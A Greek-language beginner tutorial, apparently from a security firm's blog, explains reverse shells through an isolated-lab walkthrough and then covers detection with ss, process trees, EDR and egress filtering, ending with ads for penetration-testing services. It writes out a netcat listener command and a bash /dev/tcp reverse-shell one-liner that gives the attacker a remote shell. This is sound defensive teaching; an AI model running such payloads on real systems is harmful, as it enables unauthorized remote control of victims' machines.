Το reverse shell είναι μία από τις πιο θεμελιώδεις έννοιες στο ethical hacking — και ταυτόχρονα ένα από τα πιο συχνά «όπλα» των πραγματικών επιτιθέμενων. Σε αυτόν τον beginner οδηγό εξηγούμε με απλά λόγια τι είναι, γιατί «γυρίζει» η σύνδεση προς τον επιτιθέμενο, και το στήνουμε βήμα-βήμα μέσα σε ένα πλήρως απομονωμένο εργαστήριο (isolated lab) — με έμφαση στο πώς το ανιχνεύετε και το μπλοκάρετε.

Γιατί έχει σημασία το reverse shell

Όταν ένας επιτιθέμενος εκμεταλλεύεται μια ευπάθεια (π.χ. command injection, μια αδύναμη υπηρεσία, ένα κακόβουλο αρχείο), σχεδόν πάντα το επόμενο βήμα είναι το ίδιο: να αποκτήσει έναν διαδραστικό φλοιό (interactive shell) πάνω στο θύμα, δηλαδή τη δυνατότητα να εκτελεί εντολές σαν να κάθεται μπροστά στο μηχάνημα. Το reverse shell είναι ο πιο διαδεδομένος τρόπος να το πετύχει αυτό.

Ως αμυνόμενοι (defenders), το να καταλάβουμε πώς λειτουργεί ένα reverse shell είναι κρίσιμο: εξηγεί γιατί ένα firewall που κοιτά μόνο τις εισερχόμενες συνδέσεις δεν αρκεί, γιατί η παρακολούθηση των εξερχόμενων (egress) συνδέσεων είναι τόσο σημαντική, και ποια σήματα ψάχνει μια ομάδα SOC για να το πιάσει. Ο στόχος του άρθρου είναι αμυντικός και εκπαιδευτικός: κατανοώντας την τεχνική, τη σταματάτε.

Βασικές έννοιες

Bind shell vs reverse shell

Υπάρχουν δύο κλασικοί τρόποι να αποκτήσει κάποιος απομακρυσμένο shell:

  • Bind shell: το θύμα «ανοίγει» μια πόρτα (port) και περιμένει· ο επιτιθέμενος συνδέεται προς τα εκεί. Το πρόβλημα για τον επιτιθέμενο; Τα firewalls μπλοκάρουν σχεδόν πάντα τις εισερχόμενες συνδέσεις σε τυχαίες πόρτες.
  • Reverse shell: εδώ αντιστρέφεται η φορά. Το θύμα ξεκινά τη σύνδεση προς τον επιτιθέμενο. Επειδή οι περισσότερες υποδομές επιτρέπουν ελεύθερα τις εξερχόμενες συνδέσεις (για web browsing, updates κ.λπ.), αυτή η «ανάποδη» σύνδεση συχνά περνά απαρατήρητη.

Γι’ αυτό ακριβώς το reverse shell είναι τόσο δημοφιλές: εκμεταλλεύεται το γεγονός ότι εμπιστευόμαστε ό,τι βγαίνει προς τα έξω περισσότερο από ό,τι μπαίνει προς τα μέσα.

Listener και payload

Ένα reverse shell έχει δύο κομμάτια που δουλεύουν μαζί:

  • Ο listener (ακροατής): τρέχει στο μηχάνημα του επιτιθέμενου και «ακούει» σε μια πόρτα, περιμένοντας τη σύνδεση. Το κλασικό εργαλείο είναι το netcat (nc).
  • Το payload: ο κώδικας που εκτελείται στο θύμα και ανοίγει τη σύνδεση πίσω στον listener, «δένοντας» ταυτόχρονα την είσοδο/έξοδο ενός φλοιού (/bin/bash ή /bin/sh) πάνω σε αυτή τη σύνδεση δικτύου.

Μόλις η σύνδεση εδραιωθεί, ό,τι πληκτρολογεί ο επιτιθέμενος στον listener εκτελείται στο θύμα, και η έξοδος επιστρέφει πίσω. Ουσιαστικά, το δίκτυο γίνεται «καλώδιο» ανάμεσα στο πληκτρολόγιο του επιτιθέμενου και τον φλοιό του θύματος.

Πρακτικό παράδειγμα στο lab

Θα στήσουμε ένα reverse shell ανάμεσα σε δύο δικά μας μηχανήματα, μέσα στο απομονωμένο εργαστήριο (10.10.10.0/24, κανένα πραγματικό σύστημα). Ρόλοι:

  • Attacker (Kali) — 10.10.10.10 — εδώ τρέχει ο listener.
  • Victim (δοκιμαστικό Linux VM) — 10.10.10.20 — εδώ «τρέχει» το payload, σαν να το είχε ενεργοποιήσει μια ευπάθεια.

Βήμα 1 — Στήνουμε τον listener με netcat

Στο Kali ανοίγουμε έναν listener με το nc. Οι επιλογές: -l (listen), -v (verbose, για να βλέπουμε τι γίνεται), -n (χωρίς DNS lookups) και -p 4444 (η πόρτα που ακούμε). Ο listener απλώς περιμένει:

Στήσιμο netcat listener με nc -lvnp 4444 στο τερματικό Kali, σε αναμονή για εισερχόμενη σύνδεση
Στήσιμο netcat listener με nc -lvnp 4444 στο τερματικό Kali, σε αναμονή για εισερχόμενη σύνδεση

Το μηχάνημά μας τώρα «ακούει» στην πόρτα 4444 και μένει σε αναμονή. Δεν συμβαίνει τίποτα ακόμη — χρειαζόμαστε το θύμα να ξεκινήσει τη σύνδεση.

Βήμα 2 — Το payload στο θύμα (bash reverse)

Στο θύμα εκτελούμε το κλασικό bash reverse shell one-liner. Σε ένα πραγματικό σενάριο αυτή η εντολή θα «ερχόταν» μέσω μιας ευπάθειας· εδώ την τρέχουμε χειροκίνητα για εκπαιδευτικούς λόγους:

Εκτέλεση bash reverse shell one-liner στο μηχάνημα θύμα, που ανοίγει σύνδεση προς τον attacker στη 10.10.10.10 πόρτα 4444
Εκτέλεση bash reverse shell one-liner στο μηχάνημα θύμα, που ανοίγει σύνδεση προς τον attacker στη 10.10.10.10 πόρτα 4444

Ας αποκωδικοποιήσουμε το bash -i >& /dev/tcp/10.10.10.10/4444 0>&1:

  • bash -i: ξεκινά έναν διαδραστικό (interactive) φλοιό.
  • /dev/tcp/10.10.10.10/4444: ένα ειδικό «ψευδο-αρχείο» του bash που, όταν το γράφεις, ανοίγει σύνδεση TCP προς τον attacker.
  • >& και 0>&1: ανακατευθύνουν είσοδο (stdin), έξοδο (stdout) και σφάλματα (stderr) του φλοιού πάνω σε αυτή τη σύνδεση δικτύου.

Με άλλα λόγια, ο φλοιός του θύματος «μιλάει» πλέον μέσω του socket αντί για το τοπικό τερματικό.

Βήμα 3 — Ο επιτιθέμενος αποκτά shell

Μόλις τρέξει το payload, ο listener «ζωντανεύει»: αναφέρει εισερχόμενη σύνδεση και μας δίνει prompt του θύματος. Εκτελούμε μερικές αβλαβείς εντολές για επιβεβαίωση (lab-only):

Ο netcat listener δέχεται τη σύνδεση και ο επιτιθέμενος εκτελεί id και hostname στο θύμα μέσα στο απομονωμένο lab
Ο netcat listener δέχεται τη σύνδεση και ο επιτιθέμενος εκτελεί id και hostname στο θύμα μέσα στο απομονωμένο lab

Παρατηρήστε ότι το id εμφανίζει τον χρήστη labuser — έναν αχρείαστο, χαμηλών δικαιωμάτων δοκιμαστικό λογαριασμό του lab. Ο επιτιθέμενος έχει πλέον διαδραστική εκτέλεση εντολών στο θύμα, με τα δικαιώματα της υπηρεσίας που «έτρεξε» το payload. Αν αντί για bash το θύμα δεν είχε παρά μόνο /bin/sh, θα δουλεύαμε το ίδιο με sh -i — η αρχή είναι ακριβώς η ίδια.

Αυτό είναι το κρίσιμο σημείο για τον αμυνόμενο: μία και μόνη εξερχόμενη σύνδεση ήταν αρκετή για να δώσει στον επιτιθέμενο έλεγχο. Κανένα εισερχόμενο firewall rule δεν παραβιάστηκε.

Βήμα 4 — Η οπτική του αμυνόμενου: ανίχνευση

Κάθε reverse shell αφήνει ίχνη — αρκεί να ξέρεις πού να κοιτάξεις. Στο θύμα, η ύποπτη εξερχόμενη σύνδεση και η «γονεϊκή» σχέση των διεργασιών (process tree) είναι τα καθαρότερα σήματα:

Ανίχνευση reverse shell στο θύμα με ss για ενεργές συνδέσεις και ps για ύποπτο process tree, ως αμυντικά μέτρα στο lab
Ανίχνευση reverse shell στο θύμα με ss για ενεργές συνδέσεις και ps για ύποπτο process tree, ως αμυντικά μέτρα στο lab

Τρία πράγματα προδίδουν το reverse shell εδώ. Πρώτον, το ss -tnp δείχνει μια ενεργή (ESTAB) εξερχόμενη σύνδεση από τη διεργασία bash προς την 10.10.10.10:4444 — ένας φλοιός που «μιλάει» στο δίκτυο είναι από μόνος του κόκκινη σημαία. Δεύτερον, το process tree δείχνει ότι ο bash έχει «γεννηθεί» από μια δικτυακή υπηρεσία και όχι από κανονική συνεδρία χρήστη — τυπικό μοτίβο εκτέλεσης payload. Τρίτον, αυτά ακριβώς τα σήματα (εξερχόμενη σύνδεση από κέλυφος, ασυνήθιστη σχέση parent-child) είναι που κανόνες EDR/SIEM και εργαλεία όπως το auditd μετατρέπουν σε συναγερμό.

Οι πρακτικές άμυνες που προκύπτουν: egress filtering (να επιτρέπονται μόνο απαραίτητες εξερχόμενες πόρτες/προορισμοί), application allow-listing, ανίχνευση «κελύφους που ανοίγει socket» σε επίπεδο EDR, και φυσικά διόρθωση της αρχικής ευπάθειας που επέτρεψε την εκτέλεση εντολών.

Το εργαστηριακό περιβάλλον (isolated lab)

Όλα τα παραπάνω έτρεξαν σε ένα πλήρως απομονωμένο εργαστήριο, χωρίς καμία σύνδεση με πραγματικά συστήματα, δεδομένα ή το Internet:

  • Host-only δίκτυο στο VirtualBox/VMware, με εύρος 10.10.10.0/24 — καμία διαφυγή προς το Internet ή το εταιρικό δίκτυο.
  • Ένα Kali Linux VM ως attacker (10.10.10.10) με το netcat προεγκατεστημένο.
  • Ένα δεύτερο, δοκιμαστικό Linux VM ως victim (10.10.10.20), με έναν αβλαβή χρήστη labuser χαμηλών δικαιωμάτων.
  • Και τα δύο μηχανήματα είναι δικά μας — δεν εμπλέκεται κανένα σύστημα ή λογαριασμός τρίτου.

Έτσι εξασκείστε ελεύθερα και επαναλαμβανόμενα, χωρίς κανένα ρίσκο για εσάς ή για τρίτους.

Ηθικό & νομικό πλαίσιο

Το reverse shell είναι θεμιτή τεχνική μόνο σε ένα από τα εξής πλαίσια:

  • Authorized penetration testing: με γραπτή εξουσιοδότηση (scope, rules of engagement) από τον νόμιμο ιδιοκτήτη του συστήματος.
  • Δικά σας συστήματα / δικό σας lab: ό,τι κατέχετε και ελέγχετε πλήρως.
  • CTF και εκπαιδευτικές πλατφόρμες που το επιτρέπουν ρητά.

Η απόκτηση shell σε συστήματα τρίτων χωρίς άδεια είναι ποινικό αδίκημα (στην Ελλάδα και την ΕΕ, βάσει της νομοθεσίας για την παράνομη πρόσβαση σε πληροφοριακά συστήματα). Ο σκοπός αυτής της γνώσης είναι να αμύνεστε: να αναγνωρίζετε την τεχνική, να τη δοκιμάζετε στα δικά σας περιβάλλοντα και να θωρακίζετε τα συστήματά σας.

Βασικά συμπεράσματα

  • Reverse = «ανάποδη» σύνδεση. Το θύμα ξεκινά τη σύνδεση προς τον επιτιθέμενο, παρακάμπτοντας τα εισερχόμενα firewall rules — γι’ αυτό η παρακολούθηση των εξερχόμενων συνδέσεων είναι κρίσιμη.
  • Listener + payload. Ο επιτιθέμενος «ακούει» (π.χ. nc -lvnp 4444) και το θύμα «δένει» έναν φλοιό (bash -i ή /bin/sh) πάνω σε ένα socket.
  • Ένας φλοιός που μιλά στο δίκτυο είναι σχεδόν πάντα κακό σημάδι. Το ss/netstat και το process tree το αποκαλύπτουν άμεσα.
  • Egress filtering. Επιτρέψτε μόνο τις απαραίτητες εξερχόμενες συνδέσεις — έτσι το payload δεν βρίσκει «δρόμο» να καλέσει σπίτι.
  • EDR & auditd. Κανόνες για «κέλυφος που ανοίγει socket» και ασυνήθιστες σχέσεις parent-child πιάνουν το μοτίβο νωρίς.
  • Διορθώστε την αιτία. Το reverse shell είναι συνέπεια μιας ευπάθειας εκτέλεσης εντολών — η οριστική λύση είναι να κλείσει η αρχική τρύπα.

Το reverse shell δεν είναι μαγεία — είναι απλώς μια σύνδεση που πάει προς τη «λάθος» κατεύθυνση. Καταλάβετε τη ροή, παρακολουθήστε τα εξερχόμενα, και η ίδια τεχνική που είδατε εδώ γίνεται ορατή και ανιχνεύσιμη.


Από τη θεωρία στην πράξη. Η Audax Cybersecurity προσφέρει επαγγελματικές υπηρεσίες offensive security — penetration testing & offensive validation — ενώ για όσους ξεκινούν το ταξίδι τους στο ethical hacking, το #1 ελληνικό βιβλίο «Ethical Hacking — Η Κρυφή Γνώση» είναι ο ιδανικός οδηγός.

Erevos AI · Managed CTEM

Θέλετε συνεχή επικύρωση της ασφάλειάς σας — όχι έλεγχο μία φορά τον χρόνο;

Το Erevos AI είναι η ετήσια, managed υπηρεσία CTEM της Audax — ενοποιεί exposure mapping, penetration testing, adversary emulation, detection validation & remediation σε έναν συνεχή, αποδεικτικό κύκλο. Human-led. Machine-scaled. Technically proven. Ευθυγραμμισμένο με NIS2 & DORA.

Ανακαλύψτε το Erevos AI →
Offensive Security · Penetration Testing

Χρειάζεστε Penetration Testing για τον οργανισμό σας;

Περιγράψτε το scope του ελέγχου μέσα από το δομημένο ερωτηματολόγιο και λάβετε εξατομικευμένη τεχνική & οικονομική προσφορά από την ομάδα Offensive Security της Audax. Χωρίς αυτόματη τιμή ή δέσμευση — η προσφορά αποστέλλεται μετά από τεχνική αξιολόγηση του scope.

Ζητήστε προσφορά Penetration Testing →